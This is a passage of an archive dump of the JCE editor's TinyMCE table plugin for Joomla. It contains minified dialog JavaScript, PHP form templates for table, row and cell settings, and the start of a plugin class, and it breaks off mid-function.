ed.execCommand("mceInsertContent",!1,html);tinymce.each(dom.select("table[data-mce-new]"),function(node){var tdorth=dom.select("td,th",node);tinymce.isIE&&!tinymce.isIE11&&null==node.nextSibling&&(ed.settings.forced_root_block?dom.insertAfter(dom.create(ed.settings.forced_root_block),node):dom.insertAfter(dom.create("br",{"data-mce-bogus":"1"}),node));try{ed.selection.setCursorLocation(tdorth[0],0)}catch(ex){}dom.setAttrib(node,"data-mce-new","")}),ed.addVisual(),ed.execCommand("mceEndUndoLevel",!1,{},{skip_undo:!0}),tinyMCEPopup.close()},updateCell:function(td,skip_id){function setAttrib(elm,name,value){(1===cells.length||value)&&dom.setAttrib(elm,name,value)}var v,self=this,ed=tinyMCEPopup.editor,dom=ed.dom,doc=ed.getDoc(),curCellType=td.nodeName.toLowerCase(),celltype=$("#celltype").val(),cells=ed.dom.select("td.mceSelected,th.mceSelected");if(cells.length||cells.push(td),width=$("#width").val(),height=$("#height").val(),align=$("#align").val(),valign=$("#valign").val(),bgColor=$("#bgcolor").val(),isHTML4||(align="",valign="",width="",height="",bgColor=""),dom.setAttribs(td,{width:width,height:height,bgColor:bgColor,align:align,valign:valign}),$.each(["id","lang","dir","classes","scope","style"],function(i,k){return v=$("#"+k).val(),!("id"!==k||!skip_id)||("style"===k&&(v=self.getStyles()),"classes"===k&&(k="class"),void setAttrib(td,k,v))}),isHTML4||($("#align").val()&&ed.formatter.apply("align"+$("#align").val(),{},td),$("#valign").val()&&ed.formatter.apply("valign"+$("#valign").val(),{},td)),curCellType!=celltype){for(var newCell=doc.createElement(celltype),c=0;c<td.childNodes.length;c++)newCell.appendChild(td.childNodes[c].cloneNode(1));for(var a=0;a<td.attributes.length;a++)ed.dom.setAttrib(newCell,td.attributes[a].name,ed.dom.getAttrib(td,td.attributes[a].name));td.parentNode.replaceChild(newCell,td),td=newCell}return td},updateCells:function(){function doUpdate(s){s&&(self.updateCell(tdElm),ed.addVisual(),ed.nodeChanged(),inst.execCommand("mceEndUndoLevel"),tinyMCEPopup.close())}var el,tdElm,trElm,tableElm,self=this,ed=tinyMCEPopup.editor,inst=ed;if(tinyMCEPopup.restoreSelection(),el=ed.selection.getStart(),tdElm=ed.dom.getParent(el,"td,th"),trElm=ed.dom.getParent(el,"tr"),tableElm=ed.dom.getParent(el,"table"),ed.dom.hasClass(tdElm,"mceSelected"))return tinymce.each(ed.dom.select("td.mceSelected,th.mceSelected"),function(td){self.updateCell(td)}),ed.addVisual(),ed.nodeChanged(),inst.execCommand("mceEndUndoLevel"),void tinyMCEPopup.close();switch(ed.execCommand("mceBeginUndoLevel"),$("#action").val()){case"cell":var celltype=$("#celltype").val(),scope=$("#scope").val();if(ed.getParam("accessibility_warnings",1))return void("th"==celltype&&""==scope?tinyMCEPopup.confirm(ed.getLang("table_dlg.missing_scope","Missing Scope",!0),doUpdate):doUpdate(1));this.updateCell(tdElm);break;case"row":var cell=trElm.firstChild;"TD"!=cell.nodeName&&"TH"!=cell.nodeName&&(cell=this.nextCell(cell));do cell=this.updateCell(cell,!0);while(null!=(cell=this.nextCell(cell)));break;case"all":for(var rows=tableElm.getElementsByTagName("tr"),i=0;i<rows.length;i++){var cell=rows[i].firstChild;"TD"!=cell.nodeName&&"TH"!=cell.nodeName&&(cell=this.nextCell(cell));do cell=this.updateCell(cell,!0);while(null!=(cell=this.nextCell(cell)))}}ed.addVisual(),ed.nodeChanged(),inst.execCommand("mceEndUndoLevel"),tinyMCEPopup.close()},updateRow:function(tr,skip_id,skip_parent){function setAttrib(elm,name,value){(1===rows.length||value)&&dom.setAttrib(elm,name,value)}var v,self=this,ed=tinyMCEPopup.editor,dom=ed.dom,doc=ed.getDoc(),curRowType=tr.parentNode.nodeName.toLowerCase(),rowtype=$("#rowtype").val(),tableElm=dom.getParent(ed.selection.getStart(),"table"),rows=tableElm.rows;if(rows.length||rows.push(tr),height=$("#height").val(),align=$("#align").val(),valign=$("#valign").val(),bgColor=$("#bgcolor").val(),isHTML4||(height="",bgColor="",align="",valign=""),dom.setAttribs(tr,{height:"",align:"",valign:"",bgColor:""}),$.each(["id","lang","dir","classes","scope","style"],function(i,k){return v=$("#"+k).val(),!("id"!==k||!skip_id)||("style"===k&&(v=self.getStyles()),"classes"===k&&(k="class"),void setAttrib(tr,k,v))}),isHTML4||$("#align").val()&&ed.formatter.apply("align"+$("#align").val(),{},tr),curRowType!=rowtype&&!skip_parent){for(var newRow=tr.cloneNode(1),theTable=dom.getParent(tr,"table"),dest=rowtype,newParent=null,i=0;i<theTable.childNodes.length;i++)theTable.childNodes[i].nodeName.toLowerCase()==dest&&(newParent=theTable.childNodes[i]);null==newParent&&(newParent=doc.createElement(dest),"thead"==dest?"CAPTION"==theTable.firstChild.nodeName?ed.dom.insertAfter(newParent,theTable.firstChild):theTable.insertBefore(newParent,theTable.firstChild):theTable.appendChild(newParent)),newParent.appendChild(newRow),tr.parentNode.removeChild(tr),tr=newRow}},updateRows:function(){var trElm,tableElm,self=this,ed=tinyMCEPopup.editor,dom=ed.dom,action=$("#action").val();if(tinyMCEPopup.restoreSelection(),trElm=dom.getParent(ed.selection.getStart(),"tr"),tableElm=dom.getParent(ed.selection.getStart(),"table"),dom.select("td.mceSelected,th.mceSelected",trElm).length>0)return tinymce.each(tableElm.rows,function(tr){var i;for(i=0;i<tr.cells.length;i++)if(dom.hasClass(tr.cells[i],"mceSelected"))return void self.updateRow(tr,!0)}),ed.addVisual(),ed.nodeChanged(),ed.execCommand("mceEndUndoLevel"),void tinyMCEPopup.close();switch(ed.execCommand("mceBeginUndoLevel"),action){case"row":this.updateRow(trElm);break;case"all":for(var rows=tableElm.getElementsByTagName("tr"),i=0;i<rows.length;i++)this.updateRow(rows[i],!0);break;case"odd":case"even":for(var rows=tableElm.getElementsByTagName("tr"),i=0;i<rows.length;i++)(i%2==0&&"odd"==action||i%2!=0&&"even"==action)&&this.updateRow(rows[i],!0,!0)}ed.addVisual(),ed.nodeChanged(),ed.execCommand("mceEndUndoLevel"),tinyMCEPopup.close()},makeAttrib:function(attrib,value){return"undefined"!=typeof value&&null!=value||(value=$("#"+attrib).val()),""==value?"":(value=value.replace(/&/g,"&amp;"),value=value.replace(/\"/g,"&quot;"),value=value.replace(/</g,"&lt;"),value=value.replace(/>/g,"&gt;")," "+attrib+'="'+value+'"')},nextCell:function(elm){for(;null!=(elm=elm.nextSibling);)if("TD"==elm.nodeName||"TH"==elm.nodeName)return elm;return null},isCssSize:function(value){return/^[0-9.]+(%|in|cm|mm|em|ex|pt|pc|px)$/.test(value)},cssSize:function(value,def){return value=tinymce.trim(value||def),this.isCssSize(value)?value:parseInt(value,10)+"px"},setActionforRowType:function(){var rowtype=$("#rowtype").val();"tbody"===rowtype?$("#action").prop("disabled",!1):$("#action").val("row").prop("disabled",!0)}};tinyMCEPopup.onInit.add(TableDialog.init,TableDialog),window.TableDialog=TableDialog}(tinymce,tinyMCEPopup,jQuery);editor/tiny_mce/plugins/table/js/index.html000060400000000054150750527150015024 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/table/tmpl/merge.php000060400000001707150750527150015205 0ustar00<?php

/**
 * @copyright    Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license    GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>
<div class="uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-7-10"><?php echo WFText::_('WF_TABLE_COLS'); ?>:</label>
    <div class="uk-form-controls uk-width-3-10">
        <input type="number" min="1" id="numcols" value=""/>
    </div>
    <label class="uk-form-label uk-width-7-10"><?php echo WFText::_('WF_TABLE_ROWS'); ?>:</label>
    <div class="uk-form-controls uk-width-3-10">
        <input type="number" min="1" id="numrows" value=""/>
    </div>
</div>
editor/tiny_mce/plugins/table/tmpl/general_table.php000060400000006022150750527150016665 0ustar00<?php

/**
 * @copyright    Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license    GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>
    <div class="uk-grid">
        <label class="uk-form-label uk-width-2-10" for="cols">
            <?php echo WFText::_('WF_TABLE_COLS'); ?></label>
        <div class="uk-form-controls uk-width-3-10">
            <input id="cols" type="number" min="1" value="" required />
        </div>

        <label class="uk-form-label uk-width-2-10" for="rows">
            <?php echo WFText::_('WF_TABLE_ROWS'); ?></label>
        <div class="uk-form-controls uk-width-3-10">
            <input id="rows" type="number" value="" required />
        </div>
    </div>

<div class="uk-grid">
    <label class="uk-form-label uk-width-2-10" for="cellpadding">
        <?php echo WFText::_('WF_TABLE_CELLPADDING'); ?></label>
    <div class="uk-form-controls uk-width-3-10">
        <input id="cellpadding" type="number" value="" />
    </div>

    <label class="uk-form-label uk-width-2-10" for="cellspacing">
        <?php echo WFText::_('WF_TABLE_CELLSPACING'); ?></label>
    <div class="uk-form-controls uk-width-3-10">
        <input id="cellspacing" type="number" value="" />
    </div>
</div>
<div class="uk-grid">
    <label class="uk-form-label uk-width-2-10" for="align">
        <?php echo WFText::_('WF_TABLE_ALIGN'); ?></label>
    <div class="uk-form-controls uk-width-3-10">
        <select id="align">
            <option value=""><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
            <option value="center"><?php echo WFText::_('WF_TABLE_ALIGN_MIDDLE'); ?></option>
            <option value="left"><?php echo WFText::_('WF_TABLE_ALIGN_LEFT'); ?></option>
            <option value="right"><?php echo WFText::_('WF_TABLE_ALIGN_RIGHT'); ?></option>
        </select>
    </div>

    <label class="uk-form-label uk-width-2-10" for="table_border">
        <?php echo WFText::_('WF_TABLE_BORDER'); ?></label>
    <div class="uk-form-controls uk-width-3-10">
        <input id="table_border" type="number" value="" />
    </div>
</div>
<div class="uk-grid">
    <label class="uk-form-label uk-width-2-10" for="width">
        <?php echo WFText::_('WF_TABLE_WIDTH'); ?></label>
    <div class="uk-form-controls uk-width-3-10">
        <input type="text" id="width" value="" />
    </div>

    <label class="uk-form-label uk-width-2-10" for="height">
        <?php echo WFText::_('WF_TABLE_HEIGHT'); ?></label>
    <div class="uk-form-controls uk-width-3-10">
        <input type="text" id="height" value="" />
    </div>
</div>
<div class="uk-form-row">
    <input id="caption" type="checkbox" />
    <label for="caption">
        <?php echo WFText::_('WF_TABLE_CAPTION'); ?></label>
</div>
editor/tiny_mce/plugins/table/tmpl/general_row.php000060400000004705150750527150016413 0ustar00<?php

/**
 * @copyright    Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license    GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>
<div class="uk-form-row">
    <label class="uk-form-label uk-width-3-10" for="rowtype">
        <?php echo WFText::_('WF_TABLE_ROWTYPE'); ?></label>
    <div class="uk-form-controls uk-width-7-10">
        <select id="rowtype">
            <option value="thead"><?php echo WFText::_('WF_TABLE_THEAD'); ?></option>
            <option value="tbody"><?php echo WFText::_('WF_TABLE_TBODY'); ?></option>
            <option value="tfoot"><?php echo WFText::_('WF_TABLE_TFOOT'); ?></option>
        </select></div>
</div>
<div class="uk-form-row">
    <label class="uk-form-label uk-width-3-10" for="align">
        <?php echo WFText::_('WF_TABLE_ALIGN'); ?></label>
    <div class="uk-form-controls uk-width-7-10">
        <select id="align">
            <option value=""><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
            <option value="center"><?php echo WFText::_('WF_TABLE_ALIGN_MIDDLE'); ?></option>
            <option value="left"><?php echo WFText::_('WF_TABLE_ALIGN_LEFT'); ?></option>
            <option value="right"><?php echo WFText::_('WF_TABLE_ALIGN_RIGHT'); ?></option>
        </select></div>
</div>
<!--div class="uk-form-row">
    <label class="uk-form-label uk-width-3-10" for="valign">
        <?php echo WFText::_('WF_TABLE_VALIGN'); ?></label>
    <div class="uk-form-controls uk-width-7-10">
        <select id="valign">
            <option value=""><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
            <option value="top"><?php echo WFText::_('WF_TABLE_ALIGN_TOP'); ?></option>
            <option value="middle"><?php echo WFText::_('WF_TABLE_ALIGN_MIDDLE'); ?></option>
            <option value="bottom"><?php echo WFText::_('WF_TABLE_ALIGN_BOTTOM'); ?></option>
        </select></div>
</div-->
<div class="uk-form-row">
    <label class="uk-form-label uk-width-3-10" for="height">
        <?php echo WFText::_('WF_TABLE_HEIGHT'); ?></label>
    <div class="uk-form-controls uk-width-7-10">
        <input type="text" id="height" value="" />
    </div>
</div>editor/tiny_mce/plugins/table/tmpl/index.html000060400000000054150750527150015364 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/table/tmpl/advanced.php000060400000022467150750527150015661 0ustar00<?php

/**
 * @copyright    Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license    GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

?>
<div class="uk-form-row">
    <label for="classlist" class="uk-form-label uk-width-1-5 hastip" title="<?php echo WFText::_('WF_LABEL_CLASSES_DESC'); ?>"><?php echo WFText::_('WF_LABEL_CLASSES'); ?></label>
    <div class="uk-form-controls uk-width-4-5 uk-datalist">
        <input type="text" id="classes" />
        <select id="classlist">
          <option value=""><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
        </select>
    </div>
</div>

<div class="uk-form-row">
    <label class="uk-form-label uk-width-1-5" for="id">
        <?php echo WFText::_('WF_TABLE_ID'); ?></label>
    <div class="uk-form-controls uk-width-4-5">
        <input id="id" type="text" value=""/>
    </div>
</div>
<div class="uk-form-row">
    <label class="uk-form-label uk-width-1-5" for="summary">
        <?php echo WFText::_('WF_TABLE_SUMMARY'); ?></label>
    <div class="uk-form-controls uk-width-4-5">
        <input id="summary" type="text" value=""/>
    </div>
</div>
<div class="uk-form-row">
    <label class="uk-form-label uk-width-1-5" for="style">
            <?php echo WFText::_('WF_TABLE_STYLE'); ?></label>
        <div class="uk-form-controls uk-width-4-5">
            <input type="text" id="style" value="" />
        </div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-1-5" id="langlabel" for="lang">
            <?php echo WFText::_('WF_TABLE_LANGCODE'); ?></label>
        <div class="uk-form-controls uk-width-4-5">
            <input id="lang" type="text" value="" class="uk-form-width-small" />
        </div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-1-5" for="backgroundimage">
            <?php echo WFText::_('WF_TABLE_BGIMAGE'); ?></label>
        <div class="uk-form-controls uk-width-4-5">
            <input id="backgroundimage" type="text"
                   value="" class="browser" />
        </div>
    </div>
    <?php if ($this->plugin->getLayout() == 'table'):
?>
        <div class="uk-form-row">
            <label class="uk-form-label uk-width-1-5" for="tframe">
                <?php echo WFText::_('WF_TABLE_FRAME'); ?></label>
            <div class="uk-form-controls uk-width-4-5">
                <select id="frame">
                    <option value=""><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
                    <option value="void"><?php echo WFText::_('WF_TABLE_RULES_VOID'); ?></option>
                    <option value="above"><?php echo WFText::_('WF_TABLE_RULES_ABOVE'); ?></option>
                    <option value="below"><?php echo WFText::_('WF_TABLE_RULES_BELOW'); ?></option>
                    <option value="hsides"><?php echo WFText::_('WF_TABLE_RULES_HSIDES'); ?></option>
                    <option value="lhs"><?php echo WFText::_('WF_TABLE_RULES_LHS'); ?></option>
                    <option value="rhs"><?php echo WFText::_('WF_TABLE_RULES_RHS'); ?></option>
                    <option value="vsides"><?php echo WFText::_('WF_TABLE_RULES_VSIDES'); ?></option>
                    <option value="box"><?php echo WFText::_('WF_TABLE_RULES_BOX'); ?></option>
                    <option value="border"><?php echo WFText::_('WF_TABLE_RULES_BORDER'); ?></option>
                </select></div>
        </div>
        <div class="uk-form-row">
            <label class="uk-form-label uk-width-1-5" for="rules">
                <?php echo WFText::_('WF_TABLE_RULES'); ?></label>
            <div class="uk-form-controls uk-width-4-5">
                <select id="rules">
                    <option value=""><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
                    <option value="none"><?php echo WFText::_('WF_TABLE_FRAME_NONE'); ?></option>
                    <option value="groups"><?php echo WFText::_('WF_TABLE_FRAME_GROUPS'); ?></option>
                    <option value="rows"><?php echo WFText::_('WF_TABLE_FRAME_ROWS'); ?></option>
                    <option value="cols"><?php echo WFText::_('WF_TABLE_FRAME_COLS'); ?></option>
                    <option value="all"><?php echo WFText::_('WF_TABLE_FRAME_ALL'); ?></option>
                </select></div>
        </div>
    <?php endif; ?>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-1-5" for="dir">
            <?php echo WFText::_('WF_TABLE_LANGDIR'); ?></label>
        <div class="uk-form-controls uk-width-4-5">
            <select id="dir">
                <option value=""><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
                <option value="ltr"><?php echo WFText::_('WF_TABLE_LTR'); ?></option>
                <option value="rtl"><?php echo WFText::_('WF_TABLE_RTL'); ?></option>
            </select></div>
    </div>

    <div class="uk-grid uk-grid-small">
            <label for="border" class="hastip uk-form-label uk-width-1-5" title="<?php echo WFText::_('WF_LABEL_BORDER_DESC'); ?>">
                <?php echo WFText::_('WF_LABEL_BORDER'); ?>
            </label>

            <div class="uk-form-controls uk-width-4-5">
                <div class="uk-form-controls uk-width-0-3 uk-margin-small-top">
                    <input type="checkbox" id="border" />
                </div>

                <label for="border_width" class="hastip uk-form-label uk-width-1-10 uk-margin-small-left"
                       title="<?php echo WFText::_('WF_LABEL_BORDER_WIDTH_DESC'); ?>"><?php echo WFText::_('WF_LABEL_WIDTH'); ?></label>
                <div class="uk-form-controls uk-width-2-10 uk-datalist">
                    <select id="border_width">
                        <option value=""><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
                        <option value="0">0</option>
                        <option value="1">1</option>
                        <option value="2">2</option>
                        <option value="3">3</option>
                        <option value="4">4</option>
                        <option value="5">5</option>
                        <option value="6">6</option>
                        <option value="7">7</option>
                        <option value="8">8</option>
                        <option value="9">9</option>
                        <option value="inherit"><?php echo WFText::_('WF_OPTION_INHERIT'); ?></option>
                        <option value="thin"><?php echo WFText::_('WF_OPTION_BORDER_THIN'); ?></option>
                        <option value="medium"><?php echo WFText::_('WF_OPTION_BORDER_MEDIUM'); ?></option>
                        <option value="thick"><?php echo WFText::_('WF_OPTION_BORDER_THICK'); ?></option>
                    </select>
                </div>

                <label for="border_style" class="hastip uk-form-label uk-width-1-10 uk-margin-small-left"
                       title="<?php echo WFText::_('WF_LABEL_BORDER_STYLE_DESC'); ?>"><?php echo WFText::_('WF_LABEL_STYLE'); ?></label>
                <div class="uk-form-controls uk-width-2-10">
                    <select id="border_style">
                        <option value=""><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
                        <option value="inherit"><?php echo WFText::_('WF_OPTION_INHERIT'); ?></option>
                        <option value="none"><?php echo WFText::_('WF_OPTION_BORDER_NONE'); ?></option>
                        <option value="solid"><?php echo WFText::_('WF_OPTION_BORDER_SOLID'); ?></option>
                        <option value="dashed"><?php echo WFText::_('WF_OPTION_BORDER_DASHED'); ?></option>
                        <option value="dotted"><?php echo WFText::_('WF_OPTION_BORDER_DOTTED'); ?></option>
                        <option value="double"><?php echo WFText::_('WF_OPTION_BORDER_DOUBLE'); ?></option>
                        <option value="groove"><?php echo WFText::_('WF_OPTION_BORDER_GROOVE'); ?></option>
                        <option value="inset"><?php echo WFText::_('WF_OPTION_BORDER_INSET'); ?></option>
                        <option value="outset"><?php echo WFText::_('WF_OPTION_BORDER_OUTSET'); ?></option>
                        <option value="ridge"><?php echo WFText::_('WF_OPTION_BORDER_RIDGE'); ?></option>
                    </select>
                </div>

                <label for="border_color" class="hastip uk-form-label uk-width-1-10 uk-margin-small-left"
                       title="<?php echo WFText::_('WF_LABEL_BORDER_COLOR_DESC'); ?>"><?php echo WFText::_('WF_LABEL_COLOR'); ?></label>
                <div class="uk-form-controls uk-width-2-10">
                    <input id="border_color" class="color" type="text" value="#000000" />
                </div>
            </div>
        </div>

    <div class="uk-form-row">
        <label class="uk-form-label uk-width-1-5" for="bgcolor">
            <?php echo WFText::_('WF_TABLE_BGCOLOR'); ?></label>
        <div class="uk-form-controls uk-width-1-5">
            <input id="bgcolor" type="text" value="" size="9"
                   class="color uk-form-width-small" />
        </div>
    </div>
editor/tiny_mce/plugins/table/tmpl/general.php000060400000001044150750527150015515 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

?>
<?php echo $this->loadTemplate($this->plugin->getLayout()); ?>
editor/tiny_mce/plugins/table/tmpl/default.php000060400000003430150750527150015525 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
$tabs = WFTabs::getInstance();
?>
<form onsubmit="return false;" class="uk-form uk-form-horizontal" data-layout="<?php echo $this->plugin->getLayout(); ?>">
	<?php echo $tabs->render(); ?>
	<div class="mceActionPanel">
	<?php if ($this->plugin->getLayout() == 'cell') : ?>
		<div class="uk-form-row uk-float-left">
			<select id="action" name="action">
				<option value="cell"><?php echo WFText::_('WF_TABLE_CELL_CELL'); ?></option>
				<option value="row"><?php echo WFText::_('WF_TABLE_CELL_ROW'); ?></option>
				<option value="all"><?php echo WFText::_('WF_TABLE_CELL_ALL'); ?></option>
			</select>
		</div>
	<?php endif;
    if ($this->plugin->getLayout() == 'row') : ?>
		<div class="uk-form-row uk-float-left">
			<select id="action" name="action">
				<option value="row"><?php echo WFText::_('WF_TABLE_ROW_ROW'); ?></option>
				<option value="odd"><?php echo WFText::_('WF_TABLE_ROW_ODD'); ?></option>
				<option value="even"><?php echo WFText::_('WF_TABLE_ROW_EVEN'); ?></option>
				<option value="all"><?php echo WFText::_('WF_TABLE_ROW_ALL'); ?></option>
			</select>
		</div>
	<?php endif; ?>
	<button type="submit" id="insert" onclick="TableDialog.insert();"><?php echo WFText::_('WF_LABEL_INSERT'); ?></button>
	<button type="button" id="cancel"><?php echo WFText::_('WF_LABEL_CANCEL'); ?></button>
	</div>
</form>
editor/tiny_mce/plugins/table/tmpl/general_cell.php000060400000006670150750527150016526 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>
    <div class="uk-grid">
        <label class="uk-form-label uk-width-2-10" for="align">
                <?php echo WFText::_('WF_TABLE_ALIGN'); ?></label>
        <div class="uk-form-controls uk-width-3-10">
            <select id="align">
                <option value=""><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
                <option value="center"><?php echo WFText::_('WF_TABLE_ALIGN_MIDDLE'); ?></option>
                <option value="left"><?php echo WFText::_('WF_TABLE_ALIGN_LEFT'); ?></option>
                <option value="right"><?php echo WFText::_('WF_TABLE_ALIGN_RIGHT'); ?></option>
            </select>
        </div>

        <label class="uk-form-label uk-width-2-10" for="celltype">
                <?php echo WFText::_('WF_TABLE_CELL_TYPE'); ?></label>
        <div class="uk-form-controls uk-width-3-10">
            <select id="celltype" >
                <option value="td"><?php echo WFText::_('WF_TABLE_TD'); ?></option>
                <option value="th"><?php echo WFText::_('WF_TABLE_TH'); ?></option>
            </select>
        </div>
    </div>
    
    <div class="uk-grid">
        <label class="uk-form-label uk-width-2-10" for="valign">
                <?php echo WFText::_('WF_TABLE_VALIGN'); ?></label>
        <div class="uk-form-controls uk-width-3-10">
            <select id="valign" >
                <option value=""><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
                <option value="top"><?php echo WFText::_('WF_TABLE_ALIGN_TOP'); ?></option>
                <option value="middle"><?php echo WFText::_('WF_TABLE_ALIGN_MIDDLE'); ?></option>
                <option value="bottom"><?php echo WFText::_('WF_TABLE_ALIGN_BOTTOM'); ?></option>
            </select>
        </div>

        <label class="uk-form-label uk-width-2-10" for="scope">
                <?php echo WFText::_('WF_TABLE_SCOPE'); ?></label>
        <div class="uk-form-controls uk-width-3-10">
            <select id="scope" >
                <option value=""><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
                <option value="col"><?php echo WFText::_('WF_TABEL_COL'); ?></option>
                <option value="row"><?php echo WFText::_('WF_TABEL_ROW'); ?></option>
                <option value="rowgroup"><?php echo WFText::_('WF_TABLE_ROWGROUP'); ?></option>
                <option value="colgroup"><?php echo WFText::_('WF_TABLE_COLGROUP'); ?></option>
            </select>
        </div>
    </div>

    <div class="uk-grid">
        <label class="uk-form-label uk-width-2-10" for="width">
                <?php echo WFText::_('WF_TABLE_WIDTH'); ?></label>
        <div class="uk-form-controls uk-width-3-10">
            <input id="width" type="text" value="" />
        </div>

        <label class="uk-form-label uk-width-2-10" for="height">
                <?php echo WFText::_('WF_TABLE_HEIGHT'); ?></label>
        <div class="uk-form-controls uk-width-3-10">
            <input id="height" type="text" value="" />
        </div>
    </div>editor/tiny_mce/plugins/table/classes/index.html000060400000000054150750527150016045 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/table/classes/config.php000060400000003647150750527150016041 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
class WFTablePluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFEditor::getInstance();

        $width = $wf->getParam('table.width');
        $height = $wf->getParam('table.height');

        if ($width && preg_match('#^[0-9\.]$#', $width)) {
            $width .= 'px';
        }

        if ($height && preg_match('#^[0-9\.]$#', $height)) {
            $height .= 'px';
        }

        $settings['table_default_width'] = $width;
        $settings['table_default_height'] = $height;
        $settings['table_default_border'] = $wf->getParam('table.border', 0, 0);
        $settings['table_default_align'] = $wf->getParam('table.align', '', '');
        $settings['table_default_cellpadding'] = $wf->getParam('table.cellpadding', 0, 0);
        $settings['table_default_cellspacing'] = $wf->getParam('table.cellspacing', 0, 0);
        $settings['table_default_rows'] = $wf->getParam('table.rows', 2, 2);
        $settings['table_default_cols'] = $wf->getParam('table.cols', 2, 2);
        $settings['table_cell_limit'] = $wf->getParam('table.cell_limit', 0, 0);
        $settings['table_row_limit'] = $wf->getParam('table.row_limit', 0, 0);
        $settings['table_col_limit'] = $wf->getParam('table.col_limit', 0, 0);
        $settings['table_pad_empty_cells'] = $wf->getParam('table.pad_empty_cells', 1, 1);

        $settings['table_classes'] = $wf->getParam('table.classes', '', '');

        $settings['table_buttons'] = $wf->getParam('table.show_buttons', 1, 1);
    }
}
editor/tiny_mce/plugins/table/classes/table.php000060400000003743150750527150015660 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

require_once WF_EDITOR_LIBRARIES.'/classes/plugin.php';

class WFTablesPlugin extends WFEditorPlugin
{
    public function __construct()
    {
        parent::__construct(array('colorpicker' => true));
    }

    public function getLayout()
    {
        return JRequest::getWord('layout', 'table');
    }

    /**
     * Display the plugin.
     */
    public function display()
    {
        parent::display();

        $layout = $this->getLayout();
        $document = WFDocument::getInstance();

        $document->addScript(array('table'), 'plugins');
        $document->addStyleSheet(array('table'), 'plugins');

        // update title
        if ($layout !== 'table') {
            $document->setTitle(WFText::_('WF_TABLE_'.strtoupper($layout).'_TITLE'));
        }

        $settings = $this->getSettings();

        $document->addScriptDeclaration('TableDialog.settings='.json_encode($settings).';');

        $tabs = WFTabs::getInstance(array('base_path' => WF_EDITOR_PLUGIN));

        if ($layout == 'merge') {
            // Add tabs
            $tabs->addTab('merge');
        } else {
            $tabs->addTab('general', 1, array('plugin' => $this));
            $tabs->addTab('advanced', 1, array('plugin' => $this));
        }
    }

    public function getSettings($settings = array())
    {
        $profile = $this->getProfile();

